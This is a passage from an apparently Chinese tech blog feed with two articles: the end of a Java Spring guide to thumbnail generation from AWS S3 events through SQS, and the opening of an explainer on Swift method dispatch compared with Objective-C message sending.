        private S3Bucket bucket;


        @JsonProperty("object")

        private S3Object object;

    }


    @Data

    public static class S3Bucket {

        @JsonProperty("name")

        private String name;


        @JsonProperty("arn")

        private String arn;

    }


    @Data

    public static class S3Object {

        @JsonProperty("key")

        private String key;


        @JsonProperty("size")

        private Long size;


        @JsonProperty("eTag")

        private String eTag;


        @JsonProperty("sequencer")

        private String sequencer;

    }

}
</code></pre>

<p>注意：S3 事件通知的 JSON 字段使用 PascalCase（如 Records），而 Java 习惯camelCase，因此使用 @JsonProperty做映射。</p>

<h5 id="46thumbnaillistener">4.6 核心监听器：ThumbnailListener</h5>

<p>这是整个系统的入口组件，负责接收 SQS 消息、解析、过滤并分发：</p>

<pre><code>@Slf4j

@Component

@Conditional(SqsEnabledCondition.class)

public class ThumbnailListener {


    @Resource

    private RedisIdService redisIdService;


    @Value("${aws.s3.thumbnail.enabled:true}")

    private boolean thumbnailEnabled;


    // 支持的图片格式

    private static final String[] IMAGE_EXTENSIONS = {

        ".jpg", ".jpeg", ".png", ".gif", ".bmp",

        ".webp", ".tiff", ".tif", ".jfif", ".ico"

    };


    // 支持的视频格式

    private static final String[] VIDEO_EXTENSIONS = {

        ".mp4", ".mov", ".avi", ".mkv", ".webm", ".flv", ".wmv",

        ".mpg", ".mpeg", ".m4v", ".3gp", ".3g2",

        ".ogv", ".vob", ".rm", ".rmvb", ".ts", ".mts", ".m2ts", ".f4v", ".qt"

    };


    @PostConstruct

    public void init() {

        log.info("ThumbnailListener 初始化成功, thumbnailEnabled={}", thumbnailEnabled);

        log.info("支持的图片格式({}个), 视频格式({}个)",

                IMAGE_EXTENSIONS.length, VIDEO_EXTENSIONS.length);

    }


    /**

     * 监听 SQS 消息

     * deletionPolicy = ON_SUCCESS:方法正常返回时自动删除消息，抛异常则不删除（可重试）

     */

    @SqsListener(

        value = "${aws.sqs.thumbnail.queue.url}",

        deletionPolicy = SqsMessageDeletionPolicy.ON_SUCCESS

    )

    public void handleS3Event(String message) {

        try {

            // 【快速预检查】在 JSON 解析前，先做字符串级别的快速过滤

            if (message.contains("_thumbnail.")) {

                log.info("快速过滤：跳过缩略图消息");

                return;

            }


            // 解析 S3 事件通知

            S3EventNotification notification =

                JSON.parseObject(message, S3EventNotification.class);


            if (notification == null || notification.getRecords() == null) {

                log.info("无效的 S3 事件消息");

                return;

            }


            // 逐条处理事件记录

            for (S3EventNotification.S3EventRecord record : notification.getRecords()) {

                processS3Event(record);

            }


        } catch (Exception e) {

            log.error("处理 SQS 消息失败: {}", e.getMessage(), e);

            // 抛出异常 → 消息不被删除 → SQS 在可见性超时后重新投递

            throw new RuntimeException("处理失败", e);

        }

    }


    private void processS3Event(S3EventNotification.S3EventRecord record) {

        String eventName = record.getEventName();


        // ① 只处理对象创建事件

        if (!eventName.startsWith("ObjectCreated:")) {

            return;

        }


        S3EventNotification.S3Object s3Object = record.getS3().getObject();

        String bucketName = record.getS3().getBucket().getName();

        String objectKey = URLDecoder.decode(s3Object.getKey(), "UTF-8");


        // ② 检查功能开关

        if (!thumbnailEnabled) {

            log.info("缩略图生成已禁用，跳过: {}", objectKey);

            return;

        }


        // ③ 跳过缩略图文件（防循环）

        if (isThumbnailFile(objectKey)) {

            log.info("跳过缩略图文件: {}", objectKey);

            return;

        }


        // ④ 过滤超大文件（&gt;500MB）

        Long fileSize = s3Object.getSize();

        if (fileSize != null &amp;&amp; fileSize &gt; 500 * 1024 * 1024L) {

            log.info("文件超过500MB限制，跳过: key={}", objectKey);

            return;

        }


        // ⑤ 判断文件类型

        String fileType = determineFileTypeByKey(objectKey);

        if (!"image".equals(fileType) &amp;&amp; !"video".equals(fileType)) {

            return;

        }


        // ⑥ 构建事件并发送到内部异步队列

        ThumbnailEvent event = ThumbnailEvent.builder()

                .id(redisIdService.generate(ThumbnailEvent.class))

                .bucketName(bucketName)

                .objectKey(objectKey)

                .fileType(fileType)

                .fileSize(fileSize)

                .eventName(eventName)

                .eventTime(System.currentTimeMillis())

                .build();


        SourceEventQueueManager.add(event);

        log.info("已发送缩略图生成事件: key={}, type={}", objectKey, fileType);

    }


    // ... isThumbnailFile() 和 determineFileTypeByKey() 方法

}
</code></pre>

<h6 id="sqslistener">@SqsListener 注解详解</h6>

<pre><code>@SqsListener(

    value = "${aws.sqs.thumbnail.queue.url}",   // 支持 SpEL 表达式读取配置

    deletionPolicy = SqsMessageDeletionPolicy.ON_SUCCESS  // 删除策略

)
</code></pre>

<h6 id="">删除策略选项：</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1772438284.6401.png" alt=""></p>

<h5 id="47thumbnailevent">4.7 事件模型：ThumbnailEvent</h5>

<pre><code>@Data

@Builder

@NoArgsConstructor

@AllArgsConstructor

@Accessors(chain = true)

@SuishenQueue(

    type = SuishenQueueTypeEnum.DELAY,     // 延迟队列类型

    handler = ThumbnailEventHandler.class,  // 指定处理器

    groupCount = 3,                         // 3 个消费者组

    delayTime = 200                         // 200ms 延迟

)

public class ThumbnailEvent implements SourceEvent {

    private Long id;           // 事件 ID（Redis 生成，保证幂等性）

    private String bucketName; // S3 桶名

    private String objectKey;  // 文件路径

    private String fileType;   // image / video

    private Long fileSize;     // 文件大小（字节）

    private String eventName;  // ObjectCreated:Put 等

    private Long eventTime;    // 事件时间戳

}
</code></pre>

<h6 id="">设计亮点：</h6>

<ul>
<li>使用 @SuishenQueue注解接入内部延迟队列框架，实现二级缓冲</li>
<li>groupCount = 3
 配合 Semaphore(2)实现精细化并发控制</li>
<li>delayTime = 200ms
 微延迟可有效聚合短时间内的批量上传事件</li>
</ul>

<h5 id="48thumbnaileventhandler">4.8 异步处理器：ThumbnailEventHandler</h5>

<pre><code>@Slf4j

@SuishenLog(logName = "缩略图生成")

@Service

public class ThumbnailEventHandler extends BaseSourceEventHandler&lt;ThumbnailEvent&gt; {


    /**

     * 并发控制信号量

     * 图像处理是内存密集型操作，限制同时处理数量防止 Native Memory OOM

     */

    private static final Semaphore IMAGE_PROCESS_SEMAPHORE = new Semaphore(2);

    private static final int SEMAPHORE_TIMEOUT_SECONDS = 60;


    @Value("${aws.s3.thumbnail.quality:0.3}")

    private double thumbnailQuality;


    @Override

    protected boolean doHandle(ThumbnailEvent event) {

        boolean acquired = false;

        try {

            // 获取信号量（带超时）

            acquired = IMAGE_PROCESS_SEMAPHORE.tryAcquire(

                SEMAPHORE_TIMEOUT_SECONDS, TimeUnit.SECONDS);


            if (!acquired) {

                log.warn("信号量获取超时，跳过处理: {}", event.getObjectKey());

                return true;

            }


            String fileUrl = "https://static.weryai.com/" + event.getObjectKey();

            int lastSlash = event.getObjectKey().lastIndexOf("/");

            String directory = event.getObjectKey().substring(0, lastSlash);


            if ("image".equalsIgnoreCase(event.getFileType())) {

                // 图片：调用远程服务生成 WebP 缩略图

                ImageCompressUtils.generateImageThumbnail(

                    fileUrl,

                    (int) Math.round(thumbnailQuality * 100),

                    directory

                );

            } else if ("video".equalsIgnoreCase(event.getFileType())) {

                // 视频：提取首帧并转为 WebP

                ImageCompressUtils.generateVideoFirstFrame(

                    fileUrl,

                    (int) Math.round(thumbnailQuality * 100),

                    directory

                );

            }


            return true;


        } catch (InterruptedException e) {

            Thread.currentThread().interrupt();

            return true;

        } catch (Exception e) {

            log.error("缩略图生成失败: {}", event.getObjectKey(), e);

            return true; // 返回 true 避免无限重试

        } finally {

            if (acquired) {

                IMAGE_PROCESS_SEMAPHORE.release();

            }

        }

    }

}
</code></pre>

<h4 id="">五、生产环境关键设计</h4>

<h5 id="51">5.1 防循环触发：三层防护机制</h5>

<p>这是本方案中最重要的安全设计。缩略图生成后会上传回 S3，如果不做处理，会再次触发事件，形成无限循环。</p>

<pre><code>┌─────────────────────────────────────────────────────────────────┐

│                      防循环三层防护                               │

├─────────────┬───────────────────────────────────────────────────┤

│  第一层      │  AWS 层：S3 事件通知前缀/后缀过滤                   │

│  (最外层)    │  只监听 growth/original/ 目录，缩略图写入其他目录     │

├─────────────┼───────────────────────────────────────────────────┤

│  第二层      │  应用层（快速预检查）：字符串匹配                     │

│  (中间层)    │  消息内容包含 "_thumbnail." 则直接跳过               │

├─────────────┼───────────────────────────────────────────────────┤

│  第三层      │  应用层（精确检查）：文件名模式匹配                   │

│  (最内层)    │  isThumbnailFile() 方法多规则判断                   │

└─────────────┴───────────────────────────────────────────────────┘
</code></pre>

<p>isThumbnailFile()的具体实现：  </p>

<pre><code>private boolean isThumbnailFile(String objectKey) {

    if (StringUtils.isBlank(objectKey)) return false;


    String lowerKey = objectKey.toLowerCase();


    // 规则1: 包含 _thumbnail. 标识

    if (lowerKey.contains("_thumbnail.")

            || lowerKey.endsWith("_thumbnail.webp")) {

        return true;

    }


    // 规则2: 文件名以 _thumbnail 结尾且扩展名为 .webp

    if (lowerKey.endsWith(".webp")) {

        String fileName = objectKey.substring(objectKey.lastIndexOf('/') + 1);

        fileName = fileName.substring(0, fileName.lastIndexOf('.'));

        if (fileName.endsWith("_thumbnail")) {

            return true;

        }

    }


    return false;

}
</code></pre>

<h5 id="52semaphore">5.2 并发控制：Semaphore 限流</h5>

<p>图片/视频处理是资源密集型操作，BufferedImage的像素数据存储在堆外内存（Native Memory）中，不受 JVM 堆大小限制，容易导致 OOM。</p>

<pre><code>// 4C8G 服务器推荐并发数为 2

private static final Semaphore IMAGE_PROCESS_SEMAPHORE = new Semaphore(2);  
</code></pre>

<h6 id="semaphore">为什么使用 Semaphore 而不是线程池大小控制？</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1772438544.9177.png" alt=""></p>

<h6 id="">并发数推荐：</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1772438604.5002.png" alt=""></p>

<h5 id="53">5.3 消息删除策略与重试机制</h5>

<pre><code>消息处理成功 → 自动删除（ON_SUCCESS 策略）

消息处理失败（抛异常） → 不删除 → 可见性超时后重新可见 → 重试

消息处理失败（返回 true） → 自动删除 → 不重试
</code></pre>

<h6 id="">代码中的策略选择：</h6>

<ul>
<li><p>handleS3Event()</p>

<p> 方法中：未知异常抛出 → 消息重试</p></li>
<li>ThumbnailEventHandler.doHandle()中：处理失败返回 true
 → 不重试（因为是已知的处理错误，重试大概率也会失败）</li>
</ul>

<h5 id="54">5.4 消息处理的幂等性</h5>

<p>通过 Redis 生成唯一事件 ID：</p>

<pre><code>.id(redisIdService.generate(ThumbnailEvent.class))
</code></pre>

<p>结合内部队列框架的去重机制，确保同一文件不会被处理两次。</p>

<h4 id="">六、监控、运维与故障排查</h4>

<h5 id="61">6.1 运行日志关键标记</h5>

<pre><code># 查看监听器初始化

grep "ThumbnailListener 初始化成功" logs/application.log


# 查看消息接收情况

grep "检测到新文件上传" logs/application.log


# 查看处理结果

grep "缩略图生成成功\|缩略图生成失败" logs/application.log


# 查看信号量等待

grep "信号量" logs/application.log  
</code></pre>

<h5 id="62awscloudwatch">6.2 AWS CloudWatch 监控指标</h5>

<p><img src="http://static.etouch.cn/imgs/upload/1772438871.619.png" alt=""></p>

<h5 id="63">6.3 常见问题排查表</h5>

<p><img src="http://static.etouch.cn/imgs/upload/1772438936.9467.png" alt=""></p>

<h5 id="73">7.3 进阶优化建议</h5>

<p><img src="http://static.etouch.cn/imgs/upload/1772439050.5329.png" alt=""></p>

<h4 id="">八、总结与最佳实践</h4>

<h5 id="">核心架构回顾</h5>

<pre><code>S3 文件上传 → S3 事件通知 → SQS 队列 → @SqsListener 监听

→ 多层过滤（防循环/大小/类型）→ 内部延迟队列 → Semaphore 限流

→ 缩略图生成 → 回传 S3
</code></pre>

<h5 id="">最佳实践清单</h5>

<p></p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">1.使用 SQS 标准队列 </span>而非 FIFO 队列 — 缩略图生成不需要严格顺序，标准队列吞吐量更高且更便宜
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">2.启用长轮询 </span>（waitTimeout=20）— 节省 API 费用，降低空请求
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">3.配置消息删除策略为  </span> ON_SUCCESS— 处理成功才删除，失败可重试
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">4.三层防循环机制 </span>— AWS 层 + 快速预检 + 精确过滤，确保万无一失
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">5.Semaphore 并发控制 </span>— 防止图像处理导致 Native Memory OOM
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">6.二级队列缓冲 </span> — SQS → 内部延迟队列，平滑突发流量
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">7.幂等性设计 </span>— Redis 唯一 ID + 队列去重，防止重复处理
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">8.合理的可见性超时 </span>— 设置为处理时间的 2-3 倍
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">9.监控告警 </span>— CloudWatch 监控队列深度和消息年龄
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">10.环境差异化配置 </span> — 通过 SqsEnabledCondition 实现开发/测试/生产不同策略
 </p>

<h5 id="">扩展思路</h5>

<p>本架构不仅适用于缩略图生成，同样适用于以下场景：</p>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">文件内容审核</span>（接入 AWS Rekognition / 第三方审核 API）</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">文档格式转换</span>（PDF → 图片、Office → PDF 等）</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">元数据提取</span>（EXIF 信息、视频时长、分辨率等）</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">全文索引</span>（文档内容提取后写入 Elasticsearch）</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">CDN 预热</span>（新文件上传后自动推送到 CDN 节点）
只需新增对应的 EventHandler，复用同一套 SQS 监听基础设施即可，真正实现一次配置，无限扩展。</p></li>
</ul>

<h3 id="">作者介绍：</h3>

<ul>
<li>贺浪  高级服务端开发工程师</li>
</ul>]]></content:encoded></item><item><title><![CDATA[Swift 方法派发机制深度解析]]></title><description><![CDATA[<p>深入理解 Swift 中的静态派发、动态派发与性能优化，对比 Objective-C 消息派发机制</p>

<h3 id="">前言</h3>

<p>在 Swift 开发中，我们经常会遇到这样的问题：</p>

<ul>
<li>为什么<code> final</code>关键字能提升性能？</li>
<li>为什么协议扩展中的方法调用结果和我预期的不一样？</li>
<li>什么时候应该使用<code> @objc dynamic</code>？</li>
<li><code>struct</code>和<code>class</code>的性能差异本质是什么？</li>
<li>Swift 和 Objective-C 的方法派发有什么本质区别？</li>
</ul>

<p>这些问题的答案都指向同一个核心概念——方法派发（Method Dispatch）。</p>

<p>本文将深入剖析 Swift 中的方法派发机制，并与 Objective-C 的消息派发机制进行对比，帮助你理解两种语言如何在编译期和运行期确定方法调用，以及如何利用这些知识写出更高效的代码。</p>

<h3 id="">目录</h3>

<ul>
<li>什么是方法派发</li>
<li>Objective-C 的消息派发机制</li>
<li>Swift 中的四种派发方式</li>
<li>Swift vs Objective-C 派发机制对比</li>
<li>静态派发详解</li></ul>]]></description><link>https://tech.wekoi.cn/2026/03/03/swift-fang-fa-pai-fa-ji-zhi-shen-du-jie-xi/</link><guid isPermaLink="false">b0d0a19e-8524-4d4e-8640-ba1550d19a47</guid><category><![CDATA[客户端]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Tue, 03 Mar 2026 03:22:24 GMT</pubDate><content:encoded><![CDATA[<p>深入理解 Swift 中的静态派发、动态派发与性能优化，对比 Objective-C 消息派发机制</p>

<h3 id="">前言</h3>

<p>在 Swift 开发中，我们经常会遇到这样的问题：</p>

<ul>
<li>为什么<code> final</code>关键字能提升性能？</li>
<li>为什么协议扩展中的方法调用结果和我预期的不一样？</li>
<li>什么时候应该使用<code> @objc dynamic</code>？</li>
<li><code>struct</code>和<code>class</code>的性能差异本质是什么？</li>
<li>Swift 和 Objective-C 的方法派发有什么本质区别？</li>
</ul>

<p>这些问题的答案都指向同一个核心概念——方法派发（Method Dispatch）。</p>

<p>本文将深入剖析 Swift 中的方法派发机制，并与 Objective-C 的消息派发机制进行对比，帮助你理解两种语言如何在编译期和运行期确定方法调用，以及如何利用这些知识写出更高效的代码。</p>

<h3 id="">目录</h3>

<ul>
<li>什么是方法派发</li>
<li>Objective-C 的消息派发机制</li>
<li>Swift 中的四种派发方式</li>
<li>Swift vs Objective-C 派发机制对比</li>
<li>静态派发详解</li>
<li>动态派发详解</li>
<li>不同类型的派发规则</li>
<li>协议派发的坑</li>
<li>Swift 与 OC 混编的派发规则</li>
<li>性能对比与优化建议</li>
<li>实战案例</li>
<li>总结</li>
</ul>

<h4 id="">什么是方法派发</h4>

<p>方法派发（Method Dispatch） 是指程序在调用一个方法时，如何确定要执行哪个具体实现的过程。</p>

<p>简单来说：</p>

<pre><code>class Animal {

    func makeSound() { print("Some sound") }

}


class Dog: Animal {

    override func makeSound() { print("Woof!") }

}


let animal: Animal = Dog()

animal.makeSound()  // 输出什么？如何确定调用哪个实现？  
</code></pre>

<p>当我们调用 <code>animal.makeSound()</code>时，编译器或运行时需要决定：</p>

<ul>
<li>是调用 <code>Animal</code>的实现？</li>
<li>还是调用 <code>Dog</code>的实现？</li>
</ul>

<p>这个决策过程就是方法派发。</p>

<p>派发时机分类
<img src="http://static.etouch.cn/imgs/upload/1772422887.854.png" alt=""></p>

<h4 id="objectivec">Objective-C 的消息派发机制</h4>

<h5 id="oc">OC 的核心：消息传递</h5>

<p>Objective-C 的方法调用本质上是消息传递（Message Passing）：  </p>

<pre><code>// Objective-C
[receiver message];

// 本质上编译为：
objc_msgSend(receiver, @selector(message));  
</code></pre>

<h5 id="">消息派发的完整流程</h5>

<p>当调用 <code>[obj method]</code> 时，runtime 执行以下步骤：</p>

<pre><code>1. 缓存查找（Cache Lookup）  
   ↓ 未命中
2. 方法列表查找（Method List）  
   ↓ 未找到
3. 父类方法列表查找（Superclass Method List）  
   ↓ 未找到
4. 消息转发（Message Forwarding）  
   ├─ 动态方法解析（resolveInstanceMethod:）
   ├─ 快速转发（forwardingTargetForSelector:）
   └─ 完整转发（forwardInvocation:）
   ↓ 仍未处理
5. 抛出异常：unrecognized selector sent to instance  
</code></pre>

<h5 id="">详细步骤解析</h5>

<h6 id="1">1. 缓存查找（最快路径）</h6>

<pre><code>// 每个类都有一个方法缓存（Cache）

struct objc_cache {

    unsigned int mask;

    unsigned int occupied;

    Method buckets[1];  // 哈希表

};


// 查找过程（伪代码）

cache_entry = cache[selector &amp; mask];

if (cache_entry-&gt;selector == selector) {

    return cache_entry-&gt;implementation;  // 缓存命中

}
</code></pre>

<h6 id="">特点：</h6>

<ul>
<li><p>使用哈希表存储最近调用的方法</p></li>
<li><p>命中率高时性能接近直接派发</p></li>
<li><p>首次调用或缓存未命中时需要完整查找</p></li>
</ul>

<h6 id="2">2. 方法列表查找</h6>

<pre><code>// 类的方法列表结构

struct objc_class {

    Class isa;

    Class superclass;

    cache_t cache;           // 方法缓存

    class_data_bits_t bits;  // 包含方法列表

};


// 查找过程

for (method in class-&gt;methodList) {

    if (method-&gt;selector == target_selector) {

        // 找到了，加入缓存

        cache_insert(class-&gt;cache, method);

        return method-&gt;implementation;

    }

}
</code></pre>

<h6 id="3">3. 父类链查找</h6>

<pre><code>// 递归查找父类

Class currentClass = class;

while (currentClass != nil) {

    if (method = findMethodInClass(currentClass, selector)) {

        cache_insert(originalClass-&gt;cache, method);

        return method-&gt;implementation;

    }

    currentClass = currentClass-&gt;superclass;

}
</code></pre>

<h6 id="4">4. 消息转发机制</h6>

<pre><code>// 第一步：动态方法解析

+ (BOOL)resolveInstanceMethod:(SEL)sel {

    if (sel == @selector(dynamicMethod)) {

        // 动态添加方法实现

        class_addMethod([self class], sel, 

                       (IMP)dynamicMethodIMP, "v@:");

        return YES;

    }

    return [super resolveInstanceMethod:sel];

}


// 第二步：快速转发

- (id)forwardingTargetForSelector:(SEL)aSelector {

    if (aSelector == @selector(someMethod)) {

        return alternateObject;  // 转发给其他对象

    }

    return [super forwardingTargetForSelector:aSelector];

}


// 第三步：完整转发

- (NSMethodSignature *)methodSignatureForSelector:(SEL)aSelector {

    return [NSMethodSignature signatureWithObjCTypes:"v@:"];

}


- (void)forwardInvocation:(NSInvocation *)anInvocation {

    [anInvocation invokeWithTarget:otherObject];

}
</code></pre>

<h5 id="oc">OC 消息派发的特点</h5>

<h6 id="">优点：</h6>

<h6 id="1">1.极致的动态性</h6>

<ul>
<li>运行时添加/替换方法（Method Swizzling）</li>
<li>消息转发机制</li>
<li>动态类型（id 类型）</li>
</ul>

<pre><code>// Method Swizzling 示例

Method originalMethod = class_getInstanceMethod([self class], 

                                               @selector(original));

Method swizzledMethod = class_getInstanceMethod([self class], 

                                               @selector(swizzled));

method_exchangeImplementations(originalMethod, swizzledMethod);  
</code></pre>

<h6 id="2">2.强大的运行时能力</h6>

<ul>
<li>KVO（Key-Value Observing）</li>
<li>KVC（Key-Value Coding）</li>
<li>Runtime 反射</li>
</ul>

<pre><code>// KVO 的实现依赖于消息派发

[object addObserver:self 

         forKeyPath:@"property" 

            options:NSKeyValueObservingOptionNew 

            context:nil];
</code></pre>

<p>缺点：</p>

<h6 id="1">1.性能开销大</h6>

<ul>
<li>每次方法调用都要查找</li>
<li>即使缓存命中，仍有少量哈希计算开销</li>
<li>无法被编译器优化（内联等）</li>
</ul>

<h6 id="2">2.类型安全性差</h6>

<ul>
<li>编译期无法检查方法是否存在</li>
<li>容易出现运行时崩溃</li>
</ul>

<pre><code>id obj = @"Hello";

[obj nonExistentMethod];  // 编译通过，运行时崩溃
</code></pre>

<h5 id="oc">OC 消息派发的性能</h5>

<pre><code>// 性能测试（伪代码）

// 直接调用（C 函数）：    1x

// OC 方法（缓存命中）：    1.5x

// OC 方法（缓存未命中）：  3-5x

// 消息转发：              10-20x
</code></pre>

<h4 id="swift">Swift 中的四种派发方式</h4>

<p>与 Objective-C 不同，Swift 支持多种派发方式，根据场景选择最优方案。</p>

<h5 id="1directdispatchstaticdispatch">1. 直接派发（Direct Dispatch / Static Dispatch）</h5>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">特点：</span>编译期确定调用地址，直接跳转</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">性能：</span>最快，可被编译器内联优化</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">使用场景：</span>值类型方法、<code>final</code>方法、<code>private</code>方法</p></li>
</ul>

<pre><code>struct Point {

    var x: Double

    var y: Double


    // 直接派发，编译为直接的函数调用

    func distance() -&gt; Double {

        return sqrt(x * x + y * y)

    }

}


// 编译后类似于：

// call Point.distance(Point)  // 直接调用
</code></pre>

<h5 id="2tabledispatchvtable">2. 函数表派发（Table Dispatch / V-Table）</h5>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">特点：</span>通过虚函数表（V-Table）查找方法实现</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">性能：</span>较快，一次数组查找</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">使用场景：</span>类的实例方法（非 final）</p></li>
</ul>

<pre><code>class Animal {

    // 通过 V-Table 派发

    func makeSound() { 

        print("Some sound") 

    }

}


class Dog: Animal {

    // V-Table 中存储了 Dog 的实现地址

    override func makeSound() { 

        print("Woof!") 

    }

}


// 调用过程：

let animal: Animal = Dog()

animal.makeSound()

// 1. 获取对象的 V-Table 指针

// 2. 在 V-Table 中查找 makeSound 的索引

// 3. 调用对应的实现
</code></pre>

<h6 id="vtable">V-Table 结构示意：</h6>

<pre><code>Animal V-Table:

[0] makeSound -&gt; Animal.makeSound 地址


Dog V-Table:

[0] makeSound -&gt; Dog.makeSound 地址  // 覆盖了父类的实现
</code></pre>

<h5 id="3witnesstabledispatch">3. 见证表派发（Witness Table Dispatch）</h5>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">特点：</span>通过见证表（Witness Table）查找协议方法实现</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">性能：</span>与 V-Table 类似</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">使用场景：</span>协议类型的方法调用</p></li>
</ul>

<pre><code>protocol Drawable {

    func draw()

}


struct Circle: Drawable {

    func draw() { print("Drawing circle") }

}


struct Rectangle: Drawable {

    func draw() { print("Drawing rectangle") }

}


let shape: Drawable = Circle()

shape.draw()  // 通过 Witness Table 派发  
</code></pre>

<h6 id="witnesstable">Witness Table 结构：</h6>

<pre><code>Circle Witness Table for Drawable:

[0] draw -&gt; Circle.draw


Rectangle Witness Table for Drawable:

[0] draw -&gt; Rectangle.draw
</code></pre>

<h5 id="4messagedispatch">4. 消息派发（Message Dispatch）</h5>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">特点：</span>使用 Objective-C 的消息转发机制</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">性能：</span>最慢，需要运行时查找</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">使用场景：</span>@objc dynamic方法、与OC交互</p></li>
</ul>

<pre><code>class MyClass: NSObject {

    @objc dynamic func dynamicMethod() {

        print("Can be swizzled")

    }

}


// 本质上编译为：

// objc_msgSend(obj, selector("dynamicMethod"))
</code></pre>

<h4 id="swiftvsobjectivec">Swift vs Objective-C 派发机制对比</h4>

<h5 id="">根本区别</h5>

<p><img src="http://static.etouch.cn/imgs/upload/1772430216.7822.png" alt=""></p>

<h5 id="">详细对比</h5>

<h6 id="1">1. 方法调用开销</h6>

<pre><code>// Swift - 静态派发（Struct）

struct SwiftStruct {

    func method() { }

}

let s = SwiftStruct()

s.method()

// 编译为：call SwiftStruct.method(SwiftStruct)

// 开销：几乎为 0，可被内联


// Swift - V-Table 派发（Class）

class SwiftClass {

    func method() { }

}

let c = SwiftClass()

c.method()

// 编译为：

// 1. load vtable_ptr from c

// 2. load method_ptr from vtable[index]

// 3. call method_ptr(c)

// 开销：2 次内存访问 + 1 次间接调用
</code></pre>

<pre><code>// Objective-C - 消息派发

@interface ObjCClass : NSObject

- (void)method;

@end


ObjCClass *obj = [[ObjCClass alloc] init];

[obj method];

// 编译为：objc_msgSend(obj, @selector(method))

// 开销：

// 1. 缓存查找（1-2 次内存访问）

// 2. 如果缓存未命中：方法列表查找（N 次比较）

// 3. 如果找不到：父类链查找 + 消息转发

// 总开销：3-10+ 次内存访问和比较
</code></pre>

<h6 id="2">2. 类型系统</h6>

<pre><code>// Swift - 强类型

let string: String = "Hello"

string.uppercased()  // ✅ 编译期确定方法存在


// string.nonExistentMethod()  // ❌ 编译错误


// 协议约束

func process&lt;T: Drawable&gt;(_ item: T) {

    item.draw()  // 编译期保证 T 实现了 draw

}
</code></pre>

<pre><code>// Objective-C - 弱类型

id obj = @"Hello";

[obj uppercaseString];  // ✅ 运行时查找


[obj nonExistentMethod];  // ⚠️ 编译警告，运行时崩溃


// 动态类型

- (void)processObject:(id)obj {

    [obj someMethod];  // 编译期无法确定方法是否存在

}
</code></pre>

<h6 id="3">3. 继承和重写</h6>

<pre><code>// Swift - 明确的重写语义

class Base {

    func method() { print("Base") }

}


class Derived: Base {

    override func method() { print("Derived") }

    // 必须使用 override 关键字

}


// 可以禁止重写

final class FinalClass {

    func method() { }  // 无法被继承

}


class AnotherBase {

    final func finalMethod() { }  // 无法被重写

}
</code></pre>

<pre><code>// Objective-C - 隐式的重写

@interface Base : NSObject

- (void)method;

@end


@interface Derived : Base

- (void)method;  // 自动重写，无需关键字

@end


// 无法禁止重写（没有 final）
</code></pre>

<h6 id="4">4. 运行时能力</h6>

<pre><code>// Objective-C - 强大的运行时

// Method Swizzling

Method original = class_getInstanceMethod([UIViewController class], 

                                          @selector(viewWillAppear:));

Method swizzled = class_getInstanceMethod([UIViewController class], 

                                          @selector(xxx_viewWillAppear:));

method_exchangeImplementations(original, swizzled);


// 动态添加方法

class_addMethod([MyClass class], 

               @selector(dynamicMethod), 

               (IMP)dynamicMethodIMP, 

               "v@:");


// KVO

[object addObserver:self 

         forKeyPath:@"property" 

            options:0 

            context:nil];
</code></pre>

<pre><code>// Swift - 有限的运行时能力

class MyClass: NSObject {

    // 必须标记 @objc dynamic 才能使用 OC Runtime 特性

    @objc dynamic func swizzlableMethod() { }


    // 普通 Swift 方法无法 swizzle

    func normalMethod() { }

}


// KVO 需要 @objc dynamic

class Observable: NSObject {

    @objc dynamic var property: String = ""

}


// Swift 不支持动态添加方法

// 但有自己的反射机制（Mirror）

let mirror = Mirror(reflecting: obj)

for child in mirror.children {

    print(child.label, child.value)

}
</code></pre>

<h6 id="5extension">5. 扩展（Extension）的行为差异</h6>

